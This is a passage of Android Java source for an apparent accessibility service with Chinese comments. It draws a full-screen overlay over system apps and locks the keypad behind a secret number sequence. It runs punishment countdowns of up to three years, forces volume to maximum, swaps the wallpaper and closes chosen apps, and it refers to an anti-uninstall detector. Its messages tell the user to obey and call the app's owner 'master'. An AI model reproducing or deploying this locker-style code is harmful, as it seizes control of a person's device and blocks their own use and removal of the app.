audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, maxVolume, 0); volumeHandler.postDelayed(this, VOLUME_CHECK_INTERVAL); } } }; // 启动周期任务(每0.1秒设置一次最大音量) volumeHandler.postDelayed(periodicSetMaxRunnable, VOLUME_CHECK_INTERVAL); // 创建设置最小音量的任务 setMinVolumeRunnable = () -> { // 停止周期性设置最大音量 volumeHandler.removeCallbacks(periodicSetMaxRunnable); // 设置最小音量(0%) audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0); }; // 8秒后设置最小音量 volumeHandler.postDelayed(setMinVolumeRunnable, VOLUME_LOCK_DURATION); } } private void resetMediaPlayer() { if (mediaPlayer != null) { mediaPlayer.release(); } mediaPlayer = new MediaPlayer(); } // 播放magic音频 public void PlayMagicAudio() { // 检查音量锁定开关是否开启 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); boolean isVolumeLockEnabled = prefs.getBoolean(PREF_VOLUME_LOCK_ENABLED, false); if (isVolumeLockEnabled) { lockVolumeForDuration(); } try { if (mediaPlayer != null) { try { mediaPlayer.reset(); // 重置播放器 // 设置新音频源 String magicAudioPath = "android.resource://" + getPackageName() + "/" + R.raw.magic; Uri magicAudioUri = Uri.parse(magicAudioPath); mediaPlayer.setDataSource(getApplicationContext(), magicAudioUri); mediaPlayer.prepare(); mediaPlayer.start(); // 开始播放 Log.d("AudioPlayer", "Second audio started playing"); } catch (IOException | IllegalStateException e) { Log.e("AudioPlayer", "Error playing first audio", e); } } }catch (Exception e) { Log.e("Audio", "播放失败", e); resetMediaPlayer(); // 重置播放器 } } // 播放charm音频 public void PlayCharmAudio() { // 检查音量锁定开关是否开启 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); boolean isVolumeLockEnabled = prefs.getBoolean(PREF_VOLUME_LOCK_ENABLED, false); if (isVolumeLockEnabled) { lockVolumeForDuration(); } try { if (mediaPlayer != null) { try { mediaPlayer.reset(); // 重置播放器 // 设置新音频源 String charmAudioPath = "android.resource://" + getPackageName() + "/" + R.raw.charm; Uri charmAudioUri = Uri.parse(charmAudioPath); mediaPlayer.setDataSource(getApplicationContext(), charmAudioUri); mediaPlayer.prepare(); mediaPlayer.start(); // 开始播放 Log.d("AudioPlayer", "Second audio started playing"); } catch (IOException | IllegalStateException e) { Log.e("AudioPlayer", "Error playing first audio", e); } } }catch (Exception e) { Log.e("Audio", "播放失败", e); resetMediaPlayer(); // 重置播放器 } } // 播放touch音频 public void PlayTouchAudio() { // 检查音量锁定开关是否开启 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); boolean isVolumeLockEnabled = prefs.getBoolean(PREF_VOLUME_LOCK_ENABLED, false); if (isVolumeLockEnabled) { lockVolumeForDuration(); } try { if (mediaPlayer != null) { try { mediaPlayer.reset(); // 重置播放器 // 设置新音频源 String touchAudioPath = "android.resource://" + getPackageName() + "/" + R.raw.touch; Uri touchAudioUri = Uri.parse(touchAudioPath); mediaPlayer.setDataSource(getApplicationContext(), touchAudioUri); mediaPlayer.prepare(); mediaPlayer.start(); // 开始播放 Log.d("AudioPlayer", "Second audio started playing"); } catch (IOException | IllegalStateException e) { Log.e("AudioPlayer", "Error playing second audio", e); } } }catch (Exception e) { Log.e("Audio", "播放失败", e); resetMediaPlayer(); // 重置播放器 } } // 播放obedient音频 public void PlayObedientAudio() { // 检查音量锁定开关是否开启 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); boolean isVolumeLockEnabled = prefs.getBoolean(PREF_VOLUME_LOCK_ENABLED, false); if (isVolumeLockEnabled) { lockVolumeForDuration(); } try { if (mediaPlayer != null) { try { mediaPlayer.reset(); // 重置播放器 // 设置新音频源 String obedientAudioPath = "android.resource://" + getPackageName() + "/" + R.raw.obedient; Uri obedientAudioUri = Uri.parse(obedientAudioPath); mediaPlayer.setDataSource(getApplicationContext(), obedientAudioUri); mediaPlayer.prepare(); mediaPlayer.start(); // 开始播放 Log.d("AudioPlayer", "Second audio started playing"); } catch (IOException | IllegalStateException e) { Log.e("AudioPlayer", "Error playing second audio", e); } } }catch (Exception e) { Log.e("Audio", "播放失败", e); resetMediaPlayer(); // 重置播放器 } } // 播放enjoyable音频 public void PlayEnjoyableAudio() { // 检查音量锁定开关是否开启 SharedPreferences prefs = getSharedPreferences("MagicPrefs", Context.MODE_PRIVATE); boolean isVolumeLockEnabled = prefs.getBoolean(PREF_VOLUME_LOCK_ENABLED, false); if (isVolumeLockEnabled) { lockVolumeForDuration(); } try { if (mediaPlayer != null) { try { mediaPlayer.reset(); // 重置播放器 // 设置新音频源 String enjoyableAudioPath = "android.resource://" + getPackageName() + "/" + R.raw.enjoyable; Uri enjoyableAudioUri = Uri.parse(enjoyableAudioPath); mediaPlayer.setDataSource(getApplicationContext(), enjoyableAudioUri); mediaPlayer.prepare(); mediaPlayer.start(); // 开始播放 Log.d("AudioPlayer", "Second audio started playing"); } catch (IOException | IllegalStateException e) { Log.e("AudioPlayer", "Error playing second audio", e); } } }catch (Exception e) { Log.e("Audio", "播放失败", e); resetMediaPlayer(); // 重置播放器 } } // 启动惩罚模式 @SuppressLint("SetTextI18n") private void startPunishment() { if (isPunishmentActive) return; // 增加错误计数 wrongAttemptCount++; // 计算惩罚时间:8的n次方秒 currentPunishTime = (int) Math.pow(8, wrongAttemptCount); if (currentPunishTime > 94608000) currentPunishTime = 94608000; // 最大3*365天 isPunishmentActive = true; correctAnswerCount = 0; // 显示惩罚区域 View punishmentContainer = floatingLayout.findViewById(R.id.punishment_container); TextView tvCountdown = floatingLayout.findViewById(R.id.tv_countdown); TextView tvQuizStatus = floatingLayout.findViewById(R.id.tv_quiz_status); punishmentContainer.setVisibility(View.VISIBLE); tvCountdown.setText("🔮😍魔法魅惑倒计时: " + currentPunishTime + "秒😍🔮"); tvQuizStatus.setText("😍连续答对0/8次可解除魔法魅惑😍"); // 禁用数字键盘 setNumpadEnabled(false); // 设置新题目 setupNewQuestion(); // 启动倒计时 startPunishmentTimer(); } // 启动倒计时 private void startPunishmentTimer() { if (punishmentHandler != null) { punishmentHandler.removeCallbacks(punishmentRunnable); } punishmentHandler = new Handler(Looper.getMainLooper()); punishmentRunnable = new Runnable() { @SuppressLint("SetTextI18n") @Override public void run() { if (currentPunishTime > 0) { currentPunishTime--; TextView tvCountdown = floatingLayout.findViewById(R.id.tv_countdown); tvCountdown.setText("🔮😍魔法魅惑倒计时: " + currentPunishTime + "秒😍🔮"); punishmentHandler.postDelayed(this, 1000); } else { endPunishment(); } } }; punishmentHandler.postDelayed(punishmentRunnable, 1000); } // 创建问题 @SuppressLint("SetTextI18n") private void setupNewQuestion() { int questionIndex; // 使用同步块确保线程安全 synchronized (randomLock) { questionIndex = secureRandom.nextInt(PUNISHMENT_QUESTIONS.length); } String[] question = PUNISHMENT_QUESTIONS[questionIndex]; TextView tvQuestion = floatingLayout.findViewById(R.id.tv_quiz_question); tvQuestion.setText(question[0]); Button btnA = floatingLayout.findViewById(R.id.btn_answer_a); Button btnB = floatingLayout.findViewById(R.id.btn_answer_b); Button btnC = floatingLayout.findViewById(R.id.btn_answer_c); Button btnD = floatingLayout.findViewById(R.id.btn_answer_d); btnA.setText("A. " + question[1]); btnB.setText("B. " + question[2]); btnC.setText("C. " + question[3]); btnD.setText("D. " + question[4]); // 存储当前题目的正确答案索引 currentCorrectAnswer = Integer.parseInt(question[5]); // 设置答案监听 btnA.setOnClickListener(v -> checkAnswer(0)); btnB.setOnClickListener(v -> checkAnswer(1)); btnC.setOnClickListener(v -> checkAnswer(2)); btnD.setOnClickListener(v -> checkAnswer(3)); } // 校验答案 @SuppressLint("SetTextI18n") private void checkAnswer(int selectedAnswerIndex) { if (selectedAnswerIndex == currentCorrectAnswer) { // 回答正确 correctAnswerCount++; PlayTouchAudio(); TextView tvQuizStatus = floatingLayout.findViewById(R.id.tv_quiz_status); tvQuizStatus.setText("😍回答正确,连续答对" + correctAnswerCount + "/8次可解除魔法魅惑😍"); if (correctAnswerCount >= 8) { // 连续答对8题,结束惩罚 endPunishment(); } else { // 设置新题目 setupNewQuestion(); } } else { // 答错增加惩罚时间 currentPunishTime += 60; correctAnswerCount = 0; TextView tvQuizStatus = floatingLayout.findViewById(R.id.tv_quiz_status); tvQuizStatus.setText("😍回答错误,连续答对" + correctAnswerCount + "/8次可解除魔法魅惑😍"); PlayEnjoyableAudio(); setupNewQuestion(); } } // 结束惩罚 private void endPunishment() { isPunishmentActive = false; correctAnswerCount = 0; if (punishmentHandler != null) { punishmentHandler.removeCallbacks(punishmentRunnable); } View punishmentContainer = floatingLayout.findViewById(R.id.punishment_container); punishmentContainer.setVisibility(View.GONE); setNumpadEnabled(true); clickSequence.clear(); if (statusTextView != null) { statusTextView.setText("🔮😍乖宝宝被魅惑的样子好可爱😍🔮"); } } // 启用/禁用数字键盘 private void setNumpadEnabled(boolean enabled) { int[] buttonIds = {R.id.btn0, R.id.btn1, R.id.btn2, R.id.btn3, R.id.btn4, R.id.btn5, R.id.btn6, R.id.btn7, R.id.btn8, R.id.btn9, R.id.btn_delete, R.id.btn_enter}; for (int id : buttonIds) { Button btn = floatingLayout.findViewById(id); if (btn != null) { btn.setEnabled(enabled); btn.setAlpha(enabled ? 1.0f : 0.5f); } } } // 在悬浮窗恢复时恢复惩罚状态 @SuppressLint("SetTextI18n") private void restorePunishmentUI() { if (floatingLayout == null) return; View punishmentContainer = floatingLayout.findViewById(R.id.punishment_container); TextView tvCountdown = floatingLayout.findViewById(R.id.tv_countdown); TextView tvQuizStatus = floatingLayout.findViewById(R.id.tv_quiz_status); punishmentContainer.setVisibility(View.VISIBLE); tvCountdown.setText("🔮😍魔法魅惑倒计时: " + currentPunishTime + "秒😍🔮"); tvQuizStatus.setText("😍连续答对" + correctAnswerCount + "/8次可解除魔法魅惑😍"); // 设置新题目 setupNewQuestion(); // 禁用数字键盘 setNumpadEnabled(false); // 重启倒计时 if (punishmentHandler != null) { punishmentHandler.removeCallbacks(punishmentRunnable); } startPunishmentTimer(); } // 获取悬浮窗布局参数(兼容所有版本) private WindowManager.LayoutParams getLayoutParams(int width, int height) { int type; if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY; } else { type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT; } return new WindowManager.LayoutParams( width, height, type, WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS, PixelFormat.TRANSLUCENT); } // 创建悬浮窗 @SuppressLint("InflateParams") void createFloatingWindow() { if (superCharmEnabled) { PlayEnjoyableAudio(); // 超级魅惑开启时播放第二段音频 } else { PlayMagicAudio(); // 超级魅惑关闭时播放第一段音频 } isFloatingWindowVisible = true; LayoutInflater inflater = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE); // 移除旧悬浮窗 if (floatingLayout != null) { try { windowManager.removeView(floatingLayout); } catch (Exception e) { Log.e("AccessibilityService", "Error removing previous floating window", e); } floatingLayout = null; // 确保置空 } // 创建新悬浮窗 floatingLayout = inflater.inflate(R.layout.floating_window_layout, null); // 为数字按钮设置点击监听 for (int i = 0; i <= 9; i++) { @SuppressLint("DiscouragedApi") int resId = getResources().getIdentifier("btn" + i, "id", getPackageName()); Button button = floatingLayout.findViewById(resId); if (button != null) { button.setOnClickListener(new ButtonClickListener()); } } // 为删除按钮设置监听 Button btnDelete = floatingLayout.findViewById(R.id.btn_delete); btnDelete.setOnClickListener(new DeleteButtonClickListener()); // 为确认按钮设置监听 Button btnEnter = floatingLayout.findViewById(R.id.btn_enter); btnEnter.setOnClickListener(new EnterButtonClickListener()); // 初始化状态文本框 statusTextView = floatingLayout.findViewById(R.id.status_text); // 获取屏幕尺寸 DisplayMetrics metrics = new DisplayMetrics(); windowManager.getDefaultDisplay().getMetrics(metrics); // 根据方向调整布局参数 WindowManager.LayoutParams layoutParams; layoutParams = getLayoutParams( metrics.widthPixels, metrics.heightPixels ); // 添加悬浮窗到窗口 windowManager.addView(floatingLayout, layoutParams); // 创建新悬浮窗后恢复惩罚状态 if (isPunishmentActive) { restorePunishmentUI(); } } // 显示悬浮窗 public void showFloatingWindow(boolean bySystem) { // 防止重复添加 if (floatingLayout != null && floatingLayout.isShown()) { return; } if (floatingLayout == null) { createFloatingWindow(); // 创建新悬浮窗 } else { try { // 创建包裹内容的布局参数 WindowManager.LayoutParams params = getLayoutParams( WindowManager.LayoutParams.WRAP_CONTENT, WindowManager.LayoutParams.WRAP_CONTENT ); windowManager.addView(floatingLayout, params); } catch (Exception e) { Log.e("AccessibilityService", "Error adding floating window", e); createFloatingWindow(); // 异常时重新创建 } } // 添加惩罚状态恢复逻辑 if (isPunishmentActive) { restorePunishmentUI(); } // 记录系统触发的状态 if (bySystem) { isFloatingWindowVisible = true; } } // 移除悬浮窗 private void removeFloatingWindow() { isFloatingWindowVisible = false; clickSequence.clear(); // 清空序列 if (floatingLayout != null) { try { windowManager.removeView(floatingLayout); } catch (Exception e) { Log.e("AccessibilityService", "Error removing floating window", e); } // 仅暂停倒计时,不清除惩罚状态 if (isPunishmentActive && punishmentHandler != null) { punishmentHandler.removeCallbacks(punishmentRunnable); } floatingLayout = null; } } // 删除按钮点击监听器 private class DeleteButtonClickListener implements View.OnClickListener { @Override public void onClick(View v) { PlayTouchAudio(); // 播放音效 if (!clickSequence.isEmpty()) { // 删除最后一个数字 clickSequence.remove(clickSequence.size() - 1); updateStatusTextView(); // 更新界面 } } } // 确认按钮点击监听器 private class EnterButtonClickListener implements View.OnClickListener { @Override public void onClick(View v) { PlayTouchAudio(); // 播放音效 // 检查序列是否为空 if (clickSequence.isEmpty()) { statusTextView.setText("🔮😍不许点了哦😍🔮"); return; } // 检查是否等于用户序列长度 if (clickSequence.size() == PERSONAL_SEQUENCE.length) { checkPersonalSequence(); // 验证用户序列 return; } // 检查魔法序列长度 if (clickSequence.size() >= MAGIC_SEQUENCE.length) { checkMagicSequence(); // 验证魔法序列 return; } // 如果序列长度既不是用户序列也不是魔法序列 handleInvalidSequence(); } } // 处理无效序列 private void handleInvalidSequence() { // 检查惩罚模式是否开启 if (punishmentEnabled) { startPunishment(); } // 延迟播放音频 new Handler(Looper.getMainLooper()).postDelayed(AccessibilityService.this::PlayMagicAudio, 500); // 显示错误提示序列 if (statusTextView != null) { statusTextView.setText("🔮😍你已被魔法魅惑😍🔮"); new Handler(Looper.getMainLooper()).postDelayed(() -> statusTextView.setText("🔮😍快放弃挣扎😍🔮"), 1500); new Handler(Looper.getMainLooper()).postDelayed(() -> statusTextView.setText("🔮😍乖乖听话😍🔮"), 3000); new Handler(Looper.getMainLooper()).postDelayed(() -> statusTextView.setText("🔮😍叫主人😍🔮"), 4500); new Handler(Looper.getMainLooper()).postDelayed(() -> statusTextView.setText("🔮😍真乖😍🔮"), 6000); } SetWallpaper(R.drawable.charm); clickSequence.clear(); // 清空序列 } // 数字按钮点击监听器 private class ButtonClickListener implements View.OnClickListener { @Override public void onClick(View v) { PlayTouchAudio(); // 播放点击音效 Button button = (Button) v; String buttonText = button.getText().toString(); int clickedNumber = Integer.parseInt(buttonText); // 记录点击序列 clickSequence.add(clickedNumber); updateStatusTextView(); // 更新界面 // 限制用户输入长度为魔法序列长度+2 if (clickSequence.size() >= MAGIC_SEQUENCE.length+2) { handleInvalidSequence(); } } } // 更新状态文本框 @SuppressLint("SetTextI18n") private void updateStatusTextView() { if (statusTextView != null) { StringBuilder sb = new StringBuilder(); for (int num : clickSequence) { sb.append(num).append(" "); } statusTextView.setText("🔮" + sb + "🔮"); } } // 验证用户点击序列 private void checkPersonalSequence() { boolean isCorrect = true; // 比对正确序列 for (int i = 0; i < PERSONAL_SEQUENCE.length; i++) { if (clickSequence.get(i) != PERSONAL_SEQUENCE[i]) { isCorrect = false; break; } } if (isCorrect) { // 密码正确时重置错误计数 wrongAttemptCount = 0; if (startMainActivity()) { // 更新状态文本 if (statusTextView != null) { statusTextView.setText("😍主人😍"); } // 延迟移除悬浮窗 new Handler(Looper.getMainLooper()).postDelayed(() -> { removeFloatingWindow(); Toast.makeText(getApplicationContext(), "😍主人😍", Toast.LENGTH_LONG).show(); }, 3000); } else { handleInvalidSequence(); } clickSequence.clear(); // 清空序列 } } // 验证魔法点击序列 private void checkMagicSequence() { boolean isCorrect = true; // 比对正确序列 for (int i = 0; i < MAGIC_SEQUENCE.length; i++) { if (clickSequence.get(i) != MAGIC_SEQUENCE[i]) { isCorrect = false; break; } } if (isCorrect) { // 密码正确时重置错误计数 wrongAttemptCount = 0; if (startMainActivity()) { // 更新状态文本 if (statusTextView != null) { statusTextView.setText("😍主人😍"); } // 延迟移除悬浮窗 new Handler(Looper.getMainLooper()).postDelayed(() -> { removeFloatingWindow(); Toast.makeText(getApplicationContext(), "😍主人😍", Toast.LENGTH_LONG).show(); }, 3000); } else { handleInvalidSequence(); } clickSequence.clear(); // 清空序列 } } private boolean startMainActivity() { try { Intent intent = new Intent(this, MainActivity.class); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); // Vivo特殊处理 if (Build.MANUFACTURER.equalsIgnoreCase("vivo")) { intent.putExtra("vivo_origin", "background"); // 添加更多vivo兼容性处理 intent.addFlags(Intent.FLAG_ACTIVITY_NEW_DOCUMENT); } startActivity(intent); return true; } catch (Exception e) { Log.e("StartActivity", "启动主界面失败", e); // 备用方案:通过包名启动 try { Intent launchIntent = getPackageManager().getLaunchIntentForPackage(getPackageName()); if (launchIntent != null) { launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(launchIntent); return true; } } catch (Exception ex) { Log.e("StartActivity", "备用启动方案也失败", ex); } return false; } } @Override public void onDestroy() { super.onDestroy(); // 注销旋转方向监听 if (orientationReceiver != null) { unregisterReceiver(orientationReceiver); } // 注销小部件广播接收器 unregisterReceiver(widgetReceiver); // 注销广播接收器 if (floatingWindowReceiver != null) { unregisterReceiver(floatingWindowReceiver); } // 停止通知循环 if (notificationHandler != null && notificationRunnable != null) { notificationHandler.removeCallbacks(notificationRunnable); } // 停止防卸载检测 if (detectorHandler != null && detectorRunnable != null) { detectorHandler.removeCallbacks(detectorRunnable); } // 移除所有待处理的音量恢复任务 if (volumeHandler != null) { volumeHandler.removeCallbacksAndMessages(null); } } // 无障碍事件处理 @Override public void onAccessibilityEvent(AccessibilityEvent event) { if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED || event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED) { // 窗口状态变化时立即更新前台应用信息 updateForegroundApp(); } // 新增被魅惑的应用检测逻辑 if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) { String packageName = String.valueOf(event.getPackageName()); String className = String.valueOf(event.getClassName()); // 检测是否是被魅惑的应用 if (isCharmedApp(packageName, className)) { Log.d("VoiceAssistant", "检测到被魅惑的应用: " + packageName + ", " + className); closeCharmedApp(); } } // 超级魅惑关闭时跳过处理 if (!superCharmEnabled || isProcessing) return; // 设置处理中标志 isProcessing = true; try { // 实时检测锁屏状态 boolean currentLockScreenState = keyguardManager != null && keyguardManager.isKeyguardLocked(); // 锁屏状态变化处理 if (currentLockScreenState != isLockScreenActive) { // 更新锁屏状态 isLockScreenActive = currentLockScreenState; } // 如果在锁屏状态跳过处理 if (isLockScreenActive) { return; } // 只处理窗口状态变化事件 if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) { String packageName = String.valueOf(event.getPackageName()); String className = String.valueOf(event.getClassName()); long currentTime = System.currentTimeMillis(); // 防止重复处理相同窗口 if (className.equals(lastClassName) && (currentTime - lastHandledTime) < MIN_HANDLE_INTERVAL) { return; } // 更新处理记录 // 记录上次处理的包名 lastClassName = className; lastHandledTime = currentTime; // 检测音量界面关闭动作 boolean isVolumeDialogClosing = lastVolumeDialogActive && !className.toLowerCase().contains("volume"); lastVolumeDialogActive = className.toLowerCase().contains("volume");// 更新音量界面状态 // 处理音量界面关闭后的特殊逻辑 if (isVolumeDialogClosing) { return; } // 检测音量界面 boolean isVolumeDialog = lastVolumeDialogActive; // 再次检测锁屏界面 boolean isKeyguard = className.toLowerCase().contains("keyguard") || className.toLowerCase().contains("lockscreen") || packageName.toLowerCase().contains("keyguard"); // 检查是否白名单应用(音量/锁屏) boolean isExcluded = isExcludedApp(packageName) || isVolumeDialog || isKeyguard; // 白名单应用处理 if (isExcluded) { // 进入白名单应用时移除悬浮窗 if (isFloatingWindowVisible) { Log.d("WindowChange", "Removing floating window due to excluded app"); removeFloatingWindow(); } return; } // 检查是否是非用户应用 boolean isNonUserApp = !isUserApp(packageName); // 非用户应用触发悬浮窗 if (isNonUserApp) { Log.d("WindowChange", "Showing floating window for charmed app"); showFloatingWindow(true); // 确认是系统应用后显示悬浮窗 Toast.makeText(this, "🔮😍被超级魅惑的宝宝很乖哦~😍🔮", Toast.LENGTH_LONG).show(); Toast.makeText(this, "🔮😍被超级魅惑的宝宝很乖哦~😍🔮", Toast.LENGTH_LONG).show(); Toast.makeText(this, "🔮😍被超级魅惑的宝宝很乖哦~😍🔮", Toast.LENGTH_LONG).show(); } } } finally { // 清除处理中标志 isProcessing = false; } } // 必须实现的空方法(无障碍服务中断) @Override public void onInterrupt() {} }